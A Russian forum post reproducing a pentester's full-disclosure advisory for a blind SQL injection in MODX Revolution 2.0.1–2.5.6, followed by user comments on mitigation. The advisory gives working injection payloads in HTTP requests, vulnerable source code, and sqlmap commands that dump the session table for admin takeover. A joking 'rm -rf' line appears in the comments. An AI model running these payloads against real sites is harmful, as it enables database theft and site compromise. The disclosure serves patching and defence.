MODX Revolution 2.5.6 SQL Injection


Если вы ещё не обновились до v2.5.7 — поторопитесь, в предыдущей версии присутствует критическая уязвимость, позволяющая провести SQL-инъекцию и получить доступ к аккаунту администратора через «resource/getNodes» и «system/contenttype/getlist» библиотеки xPDO.

Ниже полная выдержка пинтестера, обнаружившего уязвимость, с примером эксплуатации:


`MODX Revolution 2.0.1-pl - 2.5.6-pl blind SQLi  
##############################################  
  
Information  
===========  
  
Name: MODX Revolution 2.0.1 - 2.5.6 (based on git commit)  
Software: MODX CMS  
Homepage: https://modx.com  
Vulnerability: blind SQL injection  
Prerequisites: attacker needs to be authenticated and with correct  
permissions  
Severity: high  
CVE: NA  
Credit: Anti RA$?is  
HTML version: https://bitflipper.eu  
  
Description  
===========  
  
A SQL injection vulnerability was discovered in the xPDO library used by  
MODX Revolution 2.5.6. The "resource/getNodes" and "system/contenttype/  
getlist" actions are vulnerable and allow an authenticated attacker to read  
data from database.  
  
Proof of Concept  
================  
  
1) Action: "resource/getNodes"  
------------------------------  
  
Following request demonstrates the vulnerability. We can use different  
criteria for "limit" and the generated response is limited accordingly,  
proving that the vulnerability exists.  
  
URL: http://victim.site/connectors/index.php?action=resource/getNodes&id=web  
  
================[ src start ]================  
POST /connectors/index.php?action=resource/getNodes&id=web HTTP/1.1  
Host: victim.site  
modAuth: modx58dd6b78abecd0.81702322_158e1eb90b8b9e0.82418629  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 90  
Cookie: PHPSESSID=cj4hefna5no0hj0a0na84ir4t4  
Connection: close  
  
sortBy=menuindex` limit 1 #  
================[ src end ]==================  
  
  
The HTTP request above executes the `getResourceQuery()` method in  
`modResourceGetNodesProcessor` class.  
  
================[ src start ]================  
<?php  
  
public function getResourceQuery() {  
// ... source redacted  
  
$this->itemClass= 'modResource';  
$c= $this->modx->newQuery($this->itemClass);  
  
// ... source redacted  
  
$c->groupby($this->modx->getSelectColumns('modResource', 'modResource',  
'', $resourceColumns), '');  
$sortBy = $this->modx->escape($this->getProperty('sortBy'));  
$c->sortby('modResource.' . $sortBy,$this->getProperty('sortDir'));  
return $c;  
}  
================[ src end ]==================  
  
The `sortBy` parameter is passed to the `escape()` method, which resides in  
`xPDO` class.  
  
================[ src start ]================  
<?php  
  
public function escape($string) {  
$string = trim($string, $this->_escapeCharOpen .  
$this->_escapeCharClose);  
return $this->_escapeCharOpen . $string . $this->_escapeCharClose;  
}  
================[ src end ]==================  
  
The parameter `$string` is used as an argument to `trim()` function, which  
removes `_escapeCharOpen` and `_escapeCharClose` characters from the  
beginning and end of the string. In this case, the escape characters are  
both backticks (U+0060). The resulting string is then padded with escape  
characters which effectively removes multiple occurrences of escape  
characters from the beginning and end of the string, but does not escape the  
escape characters itself.  
  
The result is then concatenated to create the SQL query in  
`getResourceQuery()` method. Following SQL is sent to the database engine:  
  
================[ src start ]================  
SELECT `modResource`.`id`, /* redacted for brevity */, COUNT(Child.id) AS  
childrenCount  
FROM `modx_site_content` AS `modResource`  
LEFT JOIN `modx_site_content` `Child` ON modResource.id = Child.parent  
WHERE ( ( `modResource`.`context_key` = ? AND `modResource`.`show_in_tree`  
= ? ) AND `modResource`.`parent` = ? )  
GROUP BY `modResource`.`id`, /* redacted for brevity */,  
`modResource`.`context_key`  
ORDER BY modResource.`menuindex` limit 1 #` ASC  
================[ src end ]==================  
  
2) Action: "system/contenttype/getlist"  
---------------------------------------  
  
Similarly to previous vulnerability, the following issue ends up using the  
same vulnerable `escape()` method and allows to use blind SQL injection to  
query the database. Following parameter `sortAlias` can be used to inject  
SQL.  
  
================[ src start ]================  
POST /connectors/index.php HTTP/1.1  
Host: victim.site  
modAuth: modx58dd6b78abecd0.81702322_158e1f669c75121.62443671  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Referer: http://victim.site/manager/?a=resource/create  
Content-Length: 81  
Cookie: PHPSESSID=mq0kub9tiu3dv7l00ec472n9v6  
Connection: close  
  
id=1&action=system%2Fcontenttype%2Fgetlist&sortAlias=modContentType_id`  
limit 1 #  
================[ src end ]==================  
  
Example attack scenario  
=======================  
  
A sqlmap.py can be used with following parameters:  
  
================[ src start ]================  
$ ./sqlmap.py --version  
1.1.3.19#dev  
$ ./sqlmap.py -r request.txt -p sortBy --level 5 --risk 3 --technique=B -b  
================[ src end ]==================  
  
The request file `request.txt` is the following (update modAuth header and  
PHPSESSID cookie for valid ones):  
  
================[ src start ]================  
POST /connectors/index.php?action=resource/getNodes&id=web HTTP/1.1  
Host: victim.site  
Content-Length: 168  
modAuth: modx58dd6b78abecd0.81702322_158e295393a1643.87130735  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Cookie: PHPSESSID=bhhu2cv7f1fbrr5dhig4afkrt5  
Connection: close  
  
sortBy=menuindex`  
================[ src end ]==================  
  
To dump session data, use:  
  
================[ src start ]================  
$ ./sqlmap.py -r request.txt -p sortBy --level 5 --risk 3 --technique=B -D \  
modx -T modx_session -C id --dump  
  
Database: modx  
Table: modx_session  
[5 entries]  
+----------------------------+  
| id |  
+----------------------------+  
| 2gpsqqdl030acmmj393vp79lu6 |  
| 9uufrqkomi38nhpgpiq20m4rm4 |  
| anbnkhvrsgh42447tgpelc32v0 |  
| bhhu2cv7f1fbrr5dhig4afkrt5 |  
| mq0kub9tiu3dv7l00ec472n9v6 |  
+----------------------------+  
================[ src end ]==================  
  
Impact  
======  
  
The `modx_sessions` table holds active sessions and attacker can use blind  
SQL injection to query users' sessions in the database. This could possibly  
lead to admin account takeover or at least enable to access other accounts.  
In case the attacker manages to get active session for admin account, then  
he can execute PHP code (plugin install, file upload etc) and take control  
over the application. Alternatively the attacker can access other user's  
account and possibly use their access rights to compromise the site further.  
  
Conclusion  
==========  
  
Authenticated attacker can use blind SQL injection to get access to  
administrator account, which allows to execute PHP code, leading to full  
site compromise.  
  
Following release has been published mitigating this issue:  
https://modx.com/blog/modx-revolution-2.5.7  
  
Timeline  
========  
  
* 01.04.2017 | me > developer | vulnerability discovered  
* 03.04.2017 | me > developer | sent the report to the developers  
* 03.04.2017 | developer > me | asked for PoC of reading user's session  
from database  
* 05.04.2017 | developer > me | vulnerability patched  
* 21.04.2017 | developer > public | new version released  
* 01.05.2017 | me > public | full disclosure  
  
---  
Anti RA$?is  
Blog: https://bitflipper.eu  
Pentester at http://www.clarifiedsecurity.com
`
06 мая 2017, 23:21    Ганин Роман   G+  
1    838 +10

Комментарии (13)

  1. Сергей Шлоков 07 мая 2017, 09:46 # +3
    Насколько я понимаю, торопиться надо тем, у кого в админке живёт куча пользователей — редакторы, менеджеры, контролёры и т.п. Для тех, у всего один админ (самый любимый и красивый), можно ещё поспать. :)
    1. Василий Наумкин 07 мая 2017, 09:58 # +2
      Учитывая, что авторы MODX всегда говорили, что в админке должны быть только доверенные юзеры, это вообще не должно быть сюрпризом.
      1. Николай Ланец 08 мая 2017, 01:04 # 0
        Я говорил и буду говорить: пустили кого-то в админку: 99.999% дали полный доступ к админке.
        1. Ганин Роман 08 мая 2017, 01:38 # 0
          В этом и проблема. Зачем нужен такой продвинутый ACL с группами и ролями, если они лишь делают видимость? Понятное дело, это не в пример уязвимостям ДжумлаПрессов, там и к админке-то доступ даже не всегда обязателен…
          1. Николай Ланец 08 мая 2017, 03:57 # 0
            Как сказал Райн Треш, «Вы даете ключи от квартиры кому-то, и удивляетесь, что вас обокрали».
            Размышления излишни, просто никого не пускайте в админку.
            1. Ганин Роман 08 мая 2017, 04:00 # 0
              rm -rf ./manager
              1. Николай Ланец 08 мая 2017, 05:23 # 0
                Не, ну не так жестко)))
                А если серьезно, то тогда уж rm -rf ./connectors

                Кстати, очень хорошая идея… Держать отдельный закрытый манагер-сайт для наполнения, и просто публичную часть без коннекторов. У меня так на одном серьезном проекте помимо дев сайта есть еще тест-сайт. Он как и боевой, работает с единой базой данных, но у него полностью своя файловая система. Позволяет на боевой базе данных обкатывать новый функционал прежде чем накатить окончательно на боевой сайт для всех.
                1. Ганин Роман 08 мая 2017, 05:27 # 0
                  Почему жестоко? Выносим core за вебрут, удаляем всё «ненужное» — профит!
                  1. Николай Ланец 08 мая 2017, 05:36 # +1
                    Выносим core за вебрут
                    Фигня все это. core необходим для работы сайта. Не важно где он у вас лежит (в корне сайта, где-то внутри или за пределами корневого раздела), он должен быть доступен для исполняемых скриптов, а значит если у вас что-то выполняется на уровне php, core будет доступен через MODX_CORE_PATH (вам можно не знать прямой путь к ядру). А запросы извне на core итак закрыты в большинстве случаев (мало кто не закрывает по халатности). Еще раз говорю: основная угроза именно в коннекторах, потому что именно они принимают на себя запросы извне и далее уже отправляют на выполнение в ядро. Вы даже здесь в топике посмотрите приведенные листинги, запросы идут на коннектор.
                    URL: http://victim.site/connectors/index.php?action=resource/getNodes&id=web  
                    ================[ src start ]================  
                    POST /connectors/index.php?action=resource/getNodes&id=web HTTP/1.1  
                    В свою очередь для работы фронта, как правило, системные коннекторы не требуются вообще (хотя есть умельцы, которые пихают туда свои скрипты (и я в начале своего пути туда же совал свои коннекторы)). Так вот, если вы удалите из прода папку коннекторов (или хотя бы закроете именно ее по ip), вы значительно сократите риск взлома.
                    1. Ганин Роман 08 мая 2017, 05:46 # 0
                      Фигня всё это. Я думаю, это вполне очевидно: docs.modx.com/revolution/2.x/getting-started/installation
                      1. Николай Ланец 08 мая 2017, 05:52 # 0
                        Роман, мне можете документацией не тыкать. Я знаю гораздо больше, чем там написано.
                        Не хотите слушать о чем вам говорят более опытные разработчики — это ваше дело. Думаю, диалог имеет смысл закрыть.
                        1. Ганин Роман 08 мая 2017, 06:06 # 0
                          И в мыслях не было тыкать, я больше рассчитываю на то, что ссылку заметят другие, кто захочет разобраться. Я в своё время многое подчерпнул из статьи по установке MODX по cli напрямую из Git. Там и про безопасность тоже.
        2. Слава 17 мая 2017, 12:57 # 0
          твоюже шь мать а я думаю что за фигня

          Вы должны авторизоваться, чтобы оставлять комментарии.